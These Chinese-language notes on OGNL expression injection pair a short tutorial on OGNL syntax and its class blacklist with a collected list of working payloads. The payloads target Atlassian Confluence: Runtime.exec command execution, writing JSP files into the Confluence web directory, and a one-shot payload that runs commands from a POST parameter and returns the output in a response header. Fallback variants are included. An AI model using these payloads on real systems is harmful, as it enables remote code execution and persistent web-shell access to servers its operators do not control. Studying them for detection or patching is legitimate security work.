ognl 注入
目录
介绍
表达式的一种
原理
DEMO
ognl三要素:expression表达式/root 根对象/context 上下文
怎样触发一个expression?
ObjectA A = new ObjectA(); //一个任意对象A
OgnlContext context = new OgnlContext(); //创建context
context.setName(A) //初始化context的根对象,也就是我们要操作的对象
String expression = "A.a" // 表达式就是字符串的样子,这里的意思是调用对象A的a方法
Object ognl = Ognl.parseExpression(expression) //解析表达式
Object value = Ognl.getValue(ognl,context,context.getRoot()); //调用表达式并获取返回值
ognl语法
. 获取对象的属性或调用对象的方法。 A.a
@ 获取静态类/静态属性或调用静态方法 @java.lang.Runtime@getRuntime().exec()
## 1.调用非root对象
// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
2.创建map #{"name": "chenlvtang", "level": "noob"}
3.定义变量 #a=new java.lang.String[]{"calc"}
% 在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值 %{1+1}
rce的ognl payload:
(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))
写文件
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',true)).(#bb0.write(new String(@java.util.Base64@getDecoder().decode('MTIz')))).(#bb0.close())}
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf3.jsp',true)).(#bb0.write('123')).(#bb0.close())}
但是这个payload用到了Runtime类,OGNL在>=3.1.25、>=3.2.12的版本中增加了黑名单,ban了很多危险类,包括Runtime。
AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)
payload整理
confluence 的思路
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',false)).(#bb0.write(@java.util.Base64@getDecoder().decode(''))).(#bb0.close())}
base64写文件
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',false)).(#bb0.write(new java.lang.String(@java.util.Base64@getDecoder().decode('')))).(#bb0.close())}
|base64写文件,包了一层,如果上面指令不能用,试试这个
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf3.jsp',true)).(#bb0.write('')).(#bb0.close())}
明文写文件
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(@com.opensymphony.webwork.ServletActionContext@getRequest().getParameter("search")).getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
post search参数指定命令
${(#bb0=new java.io.FileWriter('/opt/atlassian/confluence/confluence/conf9.jsp',true)).(#bb0.write(new String(@java.util.Base64@getDecoder().decode('MTIz')))).(#bb0.close())}
post search参数指定 写入内容
关键字
Ognl.getValue